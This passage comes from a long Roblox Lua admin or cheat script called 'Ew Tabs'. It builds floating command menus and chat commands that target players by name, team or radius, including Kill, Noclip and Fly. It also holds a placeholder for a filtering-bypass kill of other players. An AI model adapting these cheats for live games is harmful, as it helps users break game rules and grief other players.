5611 if TabFolder == nil or TabFolder.Parent ~= TabFolderParent or TabFolder.Name ~= TabFolderName then
5612 SetupTabs()
5613 end
5614
5615 local Number = 0
5616 if DismissTab ~= nil then
5617 Number = 1
5618 end
5619 if #Tabs > Number then
5620 if DismissTab == nil then
5621 DismissTab = CreateTab({
5622 Index = 1;
5623 Text = "Dismiss";
5624 Color = Colors["Dismiss"];
5625 Call = DeleteAllTabs;
5626 })
5627 end
5628 else
5629 if DismissTab ~= nil then
5630 DeleteTab(DismissTab,false)
5631 DismissTab = nil
5632 end
5633 end
5634 UpdateIndex()
5635 for Index,Data in pairs(Tabs) do
5636 local Tab = GetTabFromData(Data)
5637 local CheckTab
5638 CheckTab = function()
5639 if Tab == nil then
5640 Tab = CreateTabInstance()
5641 if CharPosition ~= nil then
5642 Tab.CFrame = CFrame.new(CharPosition)
5643 else
5644 Tab.CFrame = CFrame.new(0,0,0)
5645 end
5646 if Data.CFrame == nil then
5647 Data.CFrame = Tab.CFrame
5648 end
5649 end
5650 local Gui = Tab:FindFirstChildOfClass("BillboardGui")
5651 if not Gui then
5652 Gui = Instance.new("BillboardGui",Tab)
5653 end
5654 Gui.AlwaysOnTop = false
5655 Gui.ResetOnSpawn = false
5656 Gui.Enabled = true
5657 Gui.MaxDistance = math.huge
5658 Gui.Size = UDim2.new(8,0,6,0)
5659 Gui.StudsOffset = Vector3.new(0,4.5,0)
5660 Gui.ClipsDescendants = false
5661
5662 local Label = Gui:FindFirstChildOfClass("TextLabel")
5663 if not Label then
5664 Gui:ClearAllChildren()
5665 Label = Instance.new("TextLabel",Gui)
5666 end
5667 Label.AnchorPoint = Vector2.new(0.5,0.5)
5668 Label.BackgroundTransparency = 1
5669 Label.BorderSizePixel = 0
5670 Label.Position = UDim2.new(0.5,0,0.5,0)
5671 Label.Size = UDim2.new(1,0,1,0)
5672 Label.Visible = true
5673 Label.ClipsDescendants = false
5674 Label.Font = Enum.Font.SourceSans
5675 Label.TextSize = 18
5676 Label.TextStrokeColor3 = Color3.fromHSV(0,0,0)
5677 Label.TextStrokeTransparency = 0
5678 Label.TextTransparency = 0
5679 Label.TextXAlignment = Enum.TextXAlignment.Center
5680 Label.TextYAlignment = Enum.TextYAlignment.Bottom
5681 Label.TextColor3 = Color3.fromRGB(255,255,255)
5682 Label.TextWrapped = true
5683
5684 if Data.Time ~= nil then
5685 Label.Text = Data.Text.." ("..tostring(math.ceil(Data.Time - (time() - Data.Created)))..")"
5686 else
5687 Label.Text = Data.Text
5688 end
5689
5690 local Click = Tab:FindFirstChildOfClass("ClickDetector")
5691 if not Click then
5692 Click = Instance.new("ClickDetector",Tab)
5693 local C1
5694 local C2
5695 C1 = AE(Click.MouseClick:Connect(function(plr)
5696 if tonumber(plr.UserId) == tonumber(Player.UserId) then
5697 C1:Disconnect()
5698 C2:Disconnect()
5699
5700 if Data.Call ~= nil then
5701 coroutine.resume(coroutine.create(Data.Call))
5702 end
5703 DeleteTab(Tab)
5704 end
5705 end))
5706 C2 = AE(Click.AncestryChanged:Connect(function()
5707 if Click.Parent ~= Tab then
5708 C1:Disconnect()
5709 C2:Disconnect()
5710 end
5711 end))
5712 end
5713 Click.MaxActivationDistance = math.huge
5714
5715 Data.Tab = Tab
5716 SetTabPropertiesFromData(Tab,Data)
5717 pcall(function()
5718 Tab.Parent = TabFolder
5719 end)
5720 if Tab.Parent ~= TabFolder then
5721 Tab:Destroy()
5722 Data.Tab = nil
5723 return false
5724 end
5725 return true
5726 end
5727
5728 if CheckTab() == false then
5729 continue
5730 else
5731 local TargetCFrame = CFrame.new(CharPosition) * CFrame.Angles(0,math.rad(((360/#Tabs)*Index) + (Sine / 4)),0)
5732 TargetCFrame = TargetCFrame + TargetCFrame.LookVector * -((#Tabs/2) + 3)
5733 Data.CFrame = Data.CFrame:Lerp(TargetCFrame,0.09 * Multiply)
5734 Tab.CFrame = Data.CFrame
5735
5736 if Data.Time ~= nil then
5737 if time() - Data.Created >= Data.Time then
5738 DeleteTab(Tab)
5739 end
5740 end
5741 end
5742 end
5743end
5744
5745SetupTabs()
5746
5747local Killing = false
5748local Event = ServerSide and RunService.Heartbeat or RunService.RenderStepped
5749AE(Event:Connect(function(t)
5750 if not t then t = 1/60 end
5751 local Multiply = t * FrameRate
5752 FPS = FrameRate / Multiply
5753
5754 Character = Player.Character
5755 if Character ~= nil then
5756 Root = Character:FindFirstChild("HumanoidRootPart")
5757 Head = Character:FindFirstChild("Head")
5758 Humanoid = Character:FindFirstChildOfClass("Humanoid")
5759 if Root ~= nil then
5760 CharPosition = Root.Position
5761 elseif Character.PrimaryPart ~= nil then
5762 CharPosition = Character.PrimaryPart.Position
5763 end
5764 end
5765
5766 UpdateTabs(Multiply)
5767
5768 Sine = Sine + (1 * Multiply)
5769
5770 if not ServerSide then
5771 if #KillTable > 0 and Killing == false then
5772 --[[Killing = true
5773 Insert FE kill here
5774 Killing = false]]
5775 end
5776 end
5777end))
5778
5779function GetRoot(C)
5780 return C:FindFirstChild("HumanoidRootPart") or C:FindFirstChild("Head") or C:FindFirstChild("Torso") or C:FindFirstChild("UpperTorso") or C:FindFirstChild("LowerTorso") or C:FindFirstChildOfClass("Part") or C:FindFirstChildOfClass("MeshPart") or C:FindFirstChildOfClass("UnionOperation")
5781end
5782
5783function GetInRad(Speaker,Rad)
5784 local ReturnPlayers = {}
5785
5786 local Character = Speaker.Character
5787 if Character then
5788 local Root = GetRoot(Character)
5789 if Root then
5790 for _,Player in pairs(Players:GetPlayers()) do
5791 local NewCharacter = Player.Character
5792 if NewCharacter then
5793 local NewRoot = GetRoot(Character)
5794 if NewRoot then
5795 local Distance = (Root.Position - NewRoot.Position).Magnitude
5796 if Distance <= Rad then
5797 table.insert(ReturnPlayers,Player)
5798 end
5799 end
5800 end
5801 end
5802 end
5803 end
5804
5805 return ReturnPlayers
5806end
5807
5808function GetInTeam(Team)
5809 local ReturnPlayers = {}
5810
5811 for _,Player in pairs(Players:GetPlayers()) do
5812 if Player.Team == Team then
5813 table.insert(ReturnPlayers,Player)
5814 end
5815 end
5816
5817 return ReturnPlayers
5818end
5819
5820function ConvertToArgs(Arguments,NeededArguments,Player,ArgSeperator)
5821 local Args = {}
5822 for i,v in pairs(NeededArguments) do
5823 local toAdd = {}
5824 if Arguments[i] then
5825 if v == "Player" then
5826 local plrNames = string.split(Arguments[i],ArgSeperator)
5827 for _,name in pairs(plrNames) do
5828 if name:lower() == "me" then
5829 table.insert(toAdd,Player)
5830 elseif name:lower() == "others" then
5831 local plrs = game:GetService("Players"):GetChildren()
5832 for _,p in pairs(plrs) do
5833 if p ~= Player then
5834 table.insert(toAdd,p)
5835 end
5836 end
5837 elseif name:lower() == "all" or name:lower() == "everyone" then
5838 local plrs = game:GetService("Players"):GetChildren()
5839 for _,p in pairs(plrs) do
5840 table.insert(toAdd,p)
5841 end
5842 elseif string.sub(name,1,6):lower() == "random" or string.sub(name,1,1):lower() == "*" then
5843 local Start = 7
5844 local Times = 1
5845
5846 if string.sub(name,1,1):lower() == "*" then
5847 Start = 2
5848 end
5849
5850 if #name >= Start then
5851 Times = tonumber(string.sub(name:lower(),Start))
5852 if not Times then
5853 Times = 1
5854 end
5855 end
5856
5857 print(Times)
5858 for Index = 1,Times do
5859 local plrs = game:GetService("Players"):GetChildren()
5860 local p = plrs[math.random(1,#plrs)]
5861 table.insert(toAdd,p)
5862 end
5863 elseif name:lower() == "near" or name:lower() == "close" then
5864 for _,Data in pairs(GetInRad(Player,15)) do
5865 table.insert(toAdd,Data)
5866 end
5867 elseif string.sub(name,1,3):lower() == "rad" or string.sub(name,1,1):lower() == "r" then
5868 local Start = 4
5869 if string.sub(name,1,1):lower() == "r" then
5870 Start = 2
5871 end
5872 local Rad = tonumber(string.sub(name,Start))
5873 if Rad then
5874 for _,Data in pairs(GetInRad(Player,Rad)) do
5875 table.insert(toAdd,Data)
5876 end
5877 end
5878 elseif name:lower() == "allies" or name:lower() == "team" then
5879 for _,Data in pairs(GetInTeam(Player.Team)) do
5880 table.insert(toAdd,Data)
5881 end
5882 elseif name:lower() == "enemies" or name:lower() == "nonteam" then
5883 for _,Team in pairs(Teams:GetChildren()) do
5884 if Team ~= Player.Team then
5885 for _,Data in pairs(GetInTeam(Team)) do
5886 table.insert(toAdd,Data)
5887 end
5888 end
5889 end
5890 elseif string.sub(name,1,1):lower() == "%" then
5891 local Start = 2
5892 local TeamName = tostring(string.sub(name,Start))
5893 if TeamName then
5894 local Team = nil
5895
5896 if Teams:FindFirstChild(TeamName) then
5897 Team = Teams:FindFirstChild(TeamName)
5898 else
5899 local teams = Teams:GetChildren()
5900 for _,t in pairs(teams) do
5901 if string.sub(t.Name:lower(),1,#TeamName) == TeamName:lower() then
5902 Team = t
5903 break
5904 end
5905 end
5906 end
5907
5908 if Team then
5909 for _,Data in pairs(GetInTeam(Team)) do
5910 table.insert(toAdd,Data)
5911 end
5912 end
5913 end
5914 else
5915 if Players:FindFirstChild(name) then
5916 table.insert(toAdd,Players:FindFirstChild(name))
5917 else
5918 local plrs = Players:GetPlayers()
5919 for _,p in pairs(plrs) do
5920 if string.sub(p.Name:lower(),1,#name) == name:lower() then
5921 table.insert(toAdd,p)
5922 break
5923 end
5924 end
5925 end
5926 end
5927 end
5928 end
5929 if v == "String" then
5930 local str = Arguments[i]
5931 table.insert(toAdd,str)
5932 end
5933 if v == "Number" then
5934 local str = tonumber(Arguments[i])
5935 table.insert(toAdd,str)
5936 end
5937 if v == "Text" then
5938 local str = ""
5939 for Num=i,#Arguments do
5940 local space = ""
5941 if str ~= "" then
5942 space = " "
5943 end
5944 str = str .. space .. Arguments[Num]
5945 end
5946 table.insert(toAdd,str)
5947 end
5948 if v == "Bool" then
5949 local Bool = tostring(Arguments[i])
5950 if Bool == "true" then
5951 Bool = true
5952 else
5953 Bool = false
5954 end
5955 table.insert(toAdd,Bool)
5956 end
5957 end
5958 if #toAdd > 0 then
5959 table.insert(Args,toAdd)
5960 end
5961 end
5962
5963 if #Args > 0 then
5964 return Args
5965 else
5966 return nil
5967 end
5968end
5969local Commands
5970
5971function RunCommand(CommandName,Arguments)
5972 CommandName = string.lower(tostring(CommandName))
5973
5974 local Found = nil
5975
5976 for _,Command in pairs(Commands) do
5977 if ServerSide == true and Command[6] == false then continue end
5978 if ServerSide == false and Command[6] == true then continue end
5979 if string.lower(tostring(Command[1])) == CommandName then
5980 Found = Command
5981 break
5982 else
5983 for _,Alias in pairs(Command[3]) do
5984 if string.lower(tostring(Alias)) == CommandName then
5985 Found = Command
5986 break
5987 end
5988 end
5989 end
5990 end
5991
5992 if Found ~= nil then
5993 local NeededArguments = Found[4]
5994 Arguments = ConvertToArgs(Arguments,NeededArguments,Player)
5995 local S,E = pcall(function()
5996 Found[5](Arguments)
5997 end)
5998 if S then
5999 -- Ran succseffully
6000 print("Ran command")
6001 else
6002 if E then
6003 -- Ran but got an error. Error message = E
6004 CreateTab({
6005 Text = tostring(E);
6006 Color = Colors["Error"];
6007 },5)
6008 warn(tostring(E))
6009 else
6010 E = "Got unknown error while running command '"..CommandName.."'."
6011 -- Ran but got an unknown error.
6012 CreateTab({
6013 Text = tostring(E);
6014 Color = Colors["Error"];
6015 },5)
6016 warn(tostring(E))
6017 end
6018 end
6019 else
6020 -- Command does not exist
6021 CreateTab({
6022 Text = "Command '"..CommandName.."' does not exist.";
6023 Color = Colors["Error"];
6024 },5)
6025 print("Does not exist")
6026 end
6027end
6028
6029function OnCommand(Message)
6030 local m = Message:lower()
6031 if string.sub(m,1,#Prefix) == Prefix then
6032 Message = string.sub(Message,#Prefix+1,string.len(Message))
6033 local cmds = string.split(Message,CmdSeperator)
6034 for _,msg in pairs(cmds) do
6035 if string.sub(msg,1,1) == " " then
6036 msg = string.sub(msg,2,#msg)
6037 end
6038 local args = string.split(msg," ")
6039 if args then
6040 local Action = args[1]
6041
6042 table.remove(args,1)
6043 local new = {}
6044 for i,v in pairs(args) do
6045 if v ~= " " and v ~= "" then
6046 table.insert(new,v)
6047 end
6048 end
6049 args = new
6050 print("Trying to run command! " .. Action .. " " .. tostring(HttpService:JSONEncode(args)))
6051 coroutine.resume(coroutine.create(function()
6052 RunCommand(Action,args)
6053 end))
6054 end
6055 end
6056 end
6057end
6058
6059if not ServerSide then
6060 if not game:IsLoaded() then
6061 local Tab = CreateTab({
6062 Text = "Waiting for game to load...";
6063 Color = Colors["Info"];
6064 })
6065 game.Loaded:Wait()
6066 DeleteTab(Tab)
6067 end
6068end
6069
6070AE(Players.PlayerAdded:Connect(function(AddedPlayer)
6071 CreateTab({
6072 Text = tostring(AddedPlayer).." connected.";
6073 Color = Colors["Info"];
6074 },5)
6075end))
6076AE(Players.PlayerRemoving:Connect(function(RemovedPlayer)
6077 if tonumber(RemovedPlayer.UserId) == tonumber(Player.UserId) then
6078 Stop()
6079 end
6080
6081 CreateTab({
6082 Text = tostring(RemovedPlayer).." disconnected.";
6083 Color = Colors["Info"];
6084 },5)
6085end))
6086
6087AE(Player.Chatted:Connect(function(Message)
6088 OnCommand(Message)
6089end))
6090
6091Pages = {
6092 ["Commands"] = function()
6093 DeleteAllTabs()
6094
6095 local AvalibleCommands = {}
6096 for _,Command in pairs(Commands) do
6097 if ServerSide == true and Command[6] == false then continue end
6098 if ServerSide == false and Command[6] == true then continue end
6099 table.insert(AvalibleCommands,Command)
6100 end
6101
6102 local MaxPerPage = 8
6103 local MaxPages = math.ceil(#AvalibleCommands/MaxPerPage)
6104
6105 local ViewPage
6106 ViewPage = function(Page)
6107 DeleteAllTabs()
6108
6109 local MinShow = MaxPerPage * (Page - 1) + 1
6110 local MaxShow = MaxPerPage * Page
6111
6112 local ShowCommands = {}
6113
6114 for Index,Command in pairs(AvalibleCommands) do
6115 if Index >= MinShow and Index <= MaxShow then
6116 table.insert(ShowCommands,#ShowCommands+1,Command)
6117 end
6118 end
6119
6120 for _,Command in pairs(ShowCommands) do
6121 CreateTab({
6122 Text = tostring(Command[1]);
6123 Call = function()
6124 Pages["CommandHelp"](Command,function()
6125 ViewPage(Page)
6126 end)
6127 end;
6128 })
6129 end
6130
6131 if Page > 1 then
6132 CreateTab({
6133 Text = "Previus page";
6134 Color = Colors["Control"];
6135 Call = function()
6136 ViewPage(Page - 1)
6137 end;
6138 })
6139 end
6140 if Page < MaxPages then
6141 CreateTab({
6142 Text = "Next page";
6143 Color = Colors["Control"];
6144 Call = function()
6145 ViewPage(Page + 1)
6146 end;
6147 })
6148 end
6149 CreateTab({
6150 Text = "Page: "..tostring(Page).."/"..tostring(MaxPages);
6151 Color = Colors["Info"];
6152 })
6153 if Page < 1 then
6154 ViewPage(1)
6155 elseif Page > MaxPages then
6156 ViewPage(MaxPages)
6157 end
6158 end
6159
6160 ViewPage(1)
6161 end;
6162 ["CommandHelp"] = function(Command,BackFunction)
6163 DeleteAllTabs()
6164
6165 if BackFunction ~= nil then
6166 CreateTab({
6167 Text = "Back";
6168 Color = Colors["Back"];
6169 Call = BackFunction;
6170 })
6171 end
6172
6173 CreateTab({
6174 Text = "Name: "..tostring(Command[1]);
6175 })
6176 CreateTab({
6177 Text = "Description: "..tostring(Command[2]);
6178 })
6179
6180 local Aliases = nil
6181 for _,Alias in pairs(Command[3]) do
6182 if Aliases == nil then
6183 Aliases = Alias
6184 else
6185 Aliases = Aliases..", "..Alias
6186 end
6187 end
6188 if Aliases ~= nil then
6189 CreateTab({
6190 Text = "Aliases: "..tostring(Aliases);
6191 })
6192 end
6193
6194 local Usage = Command[1]
6195 for _,Type in pairs(Command[4]) do
6196 Usage = Usage.." ["..Type.."]"
6197 end
6198 CreateTab({
6199 Text = "Usage: '"..tostring(Prefix)..""..tostring(Usage).."'";
6200 })
6201 end;
6202 ["Stats"] = function()
6203 DeleteAllTabs()
6204 CreateTab({
6205 Text = "Ew Tabs V"..Version..".";
6206 })
6207 CreateTab({
6208 Text = ServerSide and "Ew Tabs is running serversided." or "Ew Tabs is running clientsided.";
6209 Color = Colors["Info"];
6210 })
6211
6212 local NumberOfCommands = 0
6213 for _,Command in pairs(Commands) do
6214 if ServerSide == true and Command[6] == false then continue end
6215 if ServerSide == false and Command[6] == true then continue end
6216 NumberOfCommands = NumberOfCommands + 1
6217 end
6218
6219 CreateTab({
6220 Text = "There are "..tostring(NumberOfCommands).." commands.";
6221 Color = Colors["Info"];
6222 Call = Pages["Commands"];
6223 })
6224 end;
6225}
6226
6227Commands = {
6228 {
6229 "Stop"; -- Name
6230 "Stops Ew Tabs."; -- Description
6231 {"Remove"}; -- Aliases
6232 {}; -- Argument types
6233 function(Arguments)
6234 local Prompt
6235 Prompt = function()
6236 DeleteAllTabs()
6237 CreateTab({
6238 Text = "Are you sure you want to remove Ew Tabs?";
6239 Color = Colors["Control"];
6240 Call = Prompt;
6241 })
6242 CreateTab({
6243 Text = "No.";
6244 Color = Colors["Error"];
6245 Call = function()
6246 DeleteAllTabs()
6247 CreateTab({
6248 Text = "Cancelled.";
6249 Color = Colors["Default"];
6250 Call = Prompt;
6251 })
6252 end;
6253 })
6254 CreateTab({
6255 Text = "Yes.";
6256 Color = Colors["Default"];
6257 Call = Stop;
6258 })
6259 end
6260 Prompt()
6261 end;
6262 nil;
6263 };
6264 {
6265 "ServerStart"; -- Name
6266 "Shows when this server started."; -- Description
6267 {"sStart"}; -- Aliases
6268 {}; -- Argument types
6269 function(Arguments)
6270 CreateTab({
6271 Text = "Server Started at "..ServerStartTime;
6272 Call = Stop;
6273 },5)
6274 end;
6275 nil;
6276 };
6277 {
6278 "Dismiss"; -- Name
6279 "Dismisses all of your tabs."; -- Description
6280 {"Close"}; -- Aliases
6281 {}; -- Argument types
6282 function(Arguments)
6283 DeleteAllTabs()
6284 end;
6285 nil;
6286 };
6287 {
6288 "GetAge"; -- Name
6289 "Gives you the age of [Player]."; -- Description
6290 {"Age"}; -- Aliases
6291 {"Player"}; -- Argument types
6292 function(Arguments)
6293 if Arguments[1] then
6294 for _,plr in pairs(Arguments[1]) do
6295 CreateTab({
6296 Text = tostring(plr.Name).."'s' account is "..tostring(plr.AccountAge).." days old.";
6297 },15)
6298 end
6299 end
6300 end;
6301 nil;
6302 };
6303 {
6304 "Players"; -- Name
6305 "Shows you a list of connected players."; -- Description
6306 {"Connected"}; -- Aliases
6307 {}; -- Argument types
6308 function(Arguments)
6309 DeleteAllTabs()
6310 local Made = false
6311 for _,plr in pairs(Players:GetPlayers()) do
6312 CreateTab({
6313 Text = tostring(plr.Name);
6314 })
6315 Made = true
6316 end
6317 if Made == false then
6318 CreateTab({
6319 Text = "None";
6320 })
6321 end
6322 end;
6323 nil;
6324 };
6325 {
6326 "NilPlayers"; -- Name
6327 "Shows you a list of connected players."; -- Description
6328 {"NilConnected"}; -- Aliases
6329 {}; -- Argument types
6330 function(Arguments)
6331 DeleteAllTabs()
6332 local Made = false
6333 for _,Connection in pairs(ServerSide and game:GetService("NetworkServer"):GetChildren() or game:GetService("NetworkClient"):GetChildren()) do
6334 local plr = Connection:GetPlayer()
6335 if plr then
6336 if plr.Parent ~= Players then
6337 CreateTab({
6338 Text = tostring(plr.Name);
6339 })
6340 Made = true
6341 end
6342 end
6343 end
6344 if Made == false then
6345 CreateTab({
6346 Text = "None";
6347 })
6348 end
6349 end;
6350 nil;
6351 };
6352 {
6353 "Commands"; -- Name
6354 "Shows all commands."; -- Description
6355 {"cmds"}; -- Aliases
6356 {}; -- Argument types
6357 function(Arguments)
6358 Pages["Commands"]()
6359 end;
6360 nil;
6361 };
6362 {
6363 "Help"; -- Name
6364 "Shows info about command [Text]."; -- Description
6365 {"cmdinfo"}; -- Aliases
6366 {"Text"}; -- Argument types
6367 function(Arguments)
6368 if Arguments[1] and Arguments[1][1] then
6369 local Found = nil
6370
6371 for _,Command in pairs(Commands) do
6372 if ServerSide == true and Command[6] == false then continue end
6373 if ServerSide == false and Command[6] == true then continue end
6374 if string.lower(tostring(Command[1])) == Arguments[1][1] then
6375 Found = Command
6376 break
6377 else
6378 for _,Alias in pairs(Command[3]) do
6379 if string.lower(tostring(Alias)) == Arguments[1][1] then
6380 Found = Command
6381 break
6382 end
6383 end
6384 end
6385 end
6386
6387 if Found ~= nil then
6388 Pages["CommandHelp"](Found)
6389 else
6390 CreateTab({
6391 Text = "Command '"..Arguments[1][1].."' does not exist.";
6392 Color = Colors["Error"];
6393 },5)
6394 end
6395 end
6396 end;
6397 nil;
6398 };
6399 {
6400 "NumberOfCommands"; -- Name
6401 "Shows the number of commands."; -- Description
6402 {"ncmds"}; -- Aliases
6403 {}; -- Argument types
6404 function(Arguments)
6405 local NumberOfCommands = 0
6406 for _,Command in pairs(Commands) do
6407 if ServerSide == true and Command[6] == false then continue end
6408 if ServerSide == false and Command[6] == true then continue end
6409 NumberOfCommands = NumberOfCommands + 1
6410 end
6411
6412 CreateTab({
6413 Text = "There are "..tostring(NumberOfCommands).." commands.";
6414 Color = Colors["Info"];
6415 Call = Pages["Commands"];
6416 },7.5)
6417 end;
6418 nil;
6419 };
6420 {
6421 "Ping"; -- Name
6422 "Pings [Text] back to you."; -- Description
6423 {"Echo"}; -- Aliases
6424 {"Text"}; -- Argument types
6425 function(Arguments)
6426 if Arguments[1] and Arguments[1][1] then
6427 CreateTab({
6428 Text = tostring(Arguments[1][1]);
6429 },10)
6430 end
6431 end;
6432 nil;
6433 };
6434 {
6435 "Kill"; -- Name
6436 "Kills [Player]"; -- Description
6437 {"Death"}; -- Aliases
6438 {"Player"}; -- Argument types
6439 function(Arguments)
6440 if Arguments[1] then
6441 for _,plr in pairs(Arguments[1]) do
6442 if ServerSide then
6443 local Character = plr.Character
6444 if Character then
6445 Character:BreakJoints()
6446 end
6447 else
6448 if tonumber(plr.UserId) == tonumber(Player.UserId) then
6449 if Character ~= nil then
6450 Character:BreakJoints()
6451 end
6452 else
6453 local Character = plr.Character
6454 if Character then
6455 table.insert(KillTable,Character)
6456 end
6457 end
6458 end
6459 end
6460 end
6461 end;
6462 nil;
6463 };
6464 {
6465 "Noclip"; -- Name
6466 "Allows you to clip trough walls."; -- Description
6467 {"Unclip"}; -- Aliases
6468 {}; -- Argument types
6469 function(Arguments)
6470 if Character == nil then return end
6471 if Character:FindFirstChild("EwTabNoclip") then return end
6472 local Tag = Instance.new("StringValue",Character)
6473 Tag.Name = "EwTabNoclip"
6474 NewLocalScript([[
6475 local Character = game:GetService("Players").LocalPlayer.Character
6476 local Root = Character:WaitForChild("HumanoidRootPart")
6477 local Humanoid = Character:FindFirstChildOfClass("Humanoid")
6478
6479 local Tag = Character:FindFirstChild("EwTabNoclip")
6480
6481 --// Main
6482
6483 local C = game:GetService("RunService").RenderStepped:Connect(function()
6484 Humanoid:ChangeState(11)
6485 end)
6486
6487 repeat wait(0.25) until Tag == nil or Tag.Parent ~= Character or Character.Parent ~= game:GetService("Workspace")
6488
6489 --// End
6490
6491 C:Disconnect()
6492 if script ~= nil then
6493 script:Destroy()
6494 end
6495 ]])
6496 end;
6497 nil;
6498 };
6499 {
6500 "Unnoclip"; -- Name
6501 "Makes you stop noclippping."; -- Description
6502 {"Clip"}; -- Aliases
6503 {}; -- Argument types
6504 function(Arguments)
6505 if Character ~= nil then
6506 if Character:FindFirstChild("EwTabNoclip") then
6507 Character:FindFirstChild("EwTabNoclip"):Destroy()
6508 end
6509 end
6510 end;
6511 nil;
6512 };
6513 {
6514 "Fly"; -- Name
6515 "Makes you fly."; -- Description
6516 {}; -- Aliases
6517 {}; -- Argument types
6518 function(Arguments)
6519 if Character == nil then return end
6520 if Character:FindFirstChild("EwTabFly") then return end
6521 local Tag = Instance.new("StringValue",Character)
6522 Tag.Name = "EwTabFly"
6523 NewLocalScript([[
6524 local Character = game:GetService("Players").LocalPlayer.Character
6525 local Root = Character:WaitForChild("HumanoidRootPart")
6526 local Humanoid = Character:FindFirstChildOfClass("Humanoid")
6527
6528 local Tag = Character:FindFirstChild("EwTabFly")
6529
6530 local SpeedMultiply = 7.5
6531 local Speed = 1 * SpeedMultiply
6532
6533 local W,A,S,D = 0,0,0,0
6534 local Camera = game:GetService("Workspace").CurrentCamera
6535 local UIS = game:GetService("UserInputService")
6536
6537 local C2 = UIS.InputBegan:Connect(function(Key,Generated)
6538 if Generated then return end
6539 if UIS:GetFocusedTextBox() ~= nil then return end
6540
6541 Key = Key.KeyCode
6542
6543 if Key == Enum.KeyCode.W then
6544 W = Speed
6545 elseif Key == Enum.KeyCode.A then
6546 A = -Speed
6547 elseif Key == Enum.KeyCode.S then
6548 S = -Speed
6549 elseif Key == Enum.KeyCode.D then
6550 D = Speed
6551 end
6552 end)
6553
6554 local C3 = UIS.InputEnded:Connect(function(Key,Generated)
6555 if Generated then return end
6556 Key = Key.KeyCode
6557
6558 if Key == Enum.KeyCode.W then
6559 W = 0
6560 elseif Key == Enum.KeyCode.A then
6561 A = 0
6562 elseif Key == Enum.KeyCode.S then
6563 S = 0
6564 elseif Key == Enum.KeyCode.D then
6565 D = 0
6566 end
6567 end)
6568
6569 --// Main
6570
6571 local Gyro = Instance.new("BodyGyro",Root)
6572 Gyro.D = 250
6573 Gyro.MaxTorque = Vector3.new(math.huge,math.huge,math.huge)
6574
6575 local Velocity = Instance.new("BodyVelocity",Root)
6576 Velocity.MaxForce = Vector3.new(math.huge,math.huge,math.huge)
6577
6578 local C4 = game:GetService("RunService").RenderStepped:Connect(function()
6579 Humanoid.PlatformStand = true
6580
6581 Gyro.CFrame = Camera.CoordinateFrame
6582 Velocity.Velocity = ((Camera.CoordinateFrame.LookVector * (W + S)) + ((Camera.CoordinateFrame * CFrame.new(A + D, (W + S) * 0.2,0).p) - Camera.CoordinateFrame.p)) * Speed
6583 end)
6584
6585 repeat wait(0.25) until Tag == nil or Tag.Parent ~= Character or Character.Parent ~= game:GetService("Workspace")
6586
6587 --// End
6588
6589 Humanoid.PlatformStand = false
6590
6591 Gyro:Destroy()
6592 Velocity:Destroy()
6593
6594 C2:Disconnect()
6595 C3:Disconnect()
6596 C4:Disconnect()
6597 if script ~= nil then
6598 script:Destroy()
6599 end
6600 ]])
6601 end;
6602 nil;
6603 };
6604 {
6605 "Unfly"; -- Name
6606 "Makes you stop flying."; -- Description
6607 {}; -- Aliases
6608 {}; -- Argument types
6609 function(Arguments)
6610 if Character ~= nil then
6611 if Character:FindFirstChild("EwTabFly") then
6612 Character:FindFirstChild("EwTabFly"):Destroy()
6613 end
6614 end
6615 end;
6616 nil;
6617 };
6618
6619 {
6620 "FPS"; -- Name
6621 "Shows you your fps."; -- Description
6622 {"FramesPerSecond"}; -- Aliases
6623 {}; -- Argument types
6624 function(Arguments)
6625 CreateTab({
6626 Text = "Your fps is "..tostring(math.floor(FPS + 0.5))..".";
6627 Color = Colors["Info"];
6628 },5)
6629 end;
6630 false;
6631 };
6632 {
6633 "FixCam"; -- Name
6634 "Fixes your camera."; -- Description
6635 {"fc"}; -- Aliases
6636 {}; -- Argument types
6637 function(Arguments)
6638 Camera.CameraType = Enum.CameraType.Custom
6639 Player.CameraMode = Enum.CameraMode.Classic
6640 Camera.CameraSubject = Humanoid
6641 Camera.FieldOfView = 70
6642 end;
6643 false;
6644 };
6645 {
6646 "Blockhead"; -- Name
6647 "Turns your head into a block."; -- Description
6648 {"bhead"}; -- Aliases
6649 {}; -- Argument types
6650 function(Arguments)
6651 if Head ~= nil then
6652 local Mesh = Head:FindFirstChildOfClass("SpecialMesh")
6653 if Mesh then
6654 Mesh:Destroy()
6655 end
6656 end
6657 end;
6658 false;
6659 };
6660 {
6661 "Creeper"; -- Name
6662 "Turns your character into a creeper."; -- Description
6663 {}; -- Aliases
6664 {}; -- Argument types
6665 function(Arguments)
6666 if Character:FindFirstChild("EwTabCreeper") then return end
6667 CreateTab({
6668 Text = "If the creeper breaks, reset and try again. Unequipping tools may break it.";
6669 Color = Colors["Warning"];
6670 },10)
6671 local Limbs = {
6672 ["Left Arm"] = Vector3.new(-0.5,-2,-1);
6673 ["Right Arm"] = Vector3.new(0.5,-2,-1);
6674 ["Left Leg"] = Vector3.new(-0.5,-2,1);
6675 ["Right Leg"] = Vector3.new(0.5,-2,1);
6676
6677 ["LeftUpperArm"] = Vector3.new(-0.5,-2,-1);
6678 ["RightUpperArm"] = Vector3.new(0.5,-2,-1);
6679 ["LeftUpperLeg"] = Vector3.new(-0.5,-2,1);
6680 ["RightUpperLeg"] = Vector3.new(0.5,-2,1);
6681 }
6682
6683 local Tag = Instance.new("StringValue",Character)
6684 Tag.Name = "EwTabCreeper"
6685
6686 if Head ~= nil then
6687 local Mesh = Head:FindFirstChildOfClass("SpecialMesh")
6688 if Mesh then
6689 Mesh:Destroy()
6690 end
6691 end
6692
6693 for _,Limb in pairs(Character:GetChildren()) do
6694 for Name,Offset in pairs(Limbs) do
6695 if Limb.Name == Name then
6696 Limb:BreakJoints()
6697 end
6698 end
6699 end
6700
6701 repeat Event:Wait()
6702 for _,Limb in pairs(Character:GetChildren()) do
6703 for Name,Offset in pairs(Limbs) do
6704 if Limb.Name == Name then
6705 local RocketPropulsion = Limb:FindFirstChildOfClass("RocketPropulsion")
6706 if not RocketPropulsion then
6707 RocketPropulsion = Instance.new("RocketPropulsion",Limb)
6708 end
6709 RocketPropulsion.CartoonFactor = 0
6710 RocketPropulsion.MaxSpeed = 200
6711 RocketPropulsion.ThrustD = 200
6712 RocketPropulsion.MaxThrust = 9999
6713 RocketPropulsion.MaxTorque = Vector3.new(math.huge,math.huge,math.huge)
6714 RocketPropulsion.Target = Root
6715 RocketPropulsion.TargetOffset = Offset
6716 RocketPropulsion:Fire()
6717 local BodyGyro = Limb:FindFirstChildOfClass("BodyGyro")
6718 if not BodyGyro then
6719 BodyGyro = Instance.new("BodyGyro",Limb)
6720 end
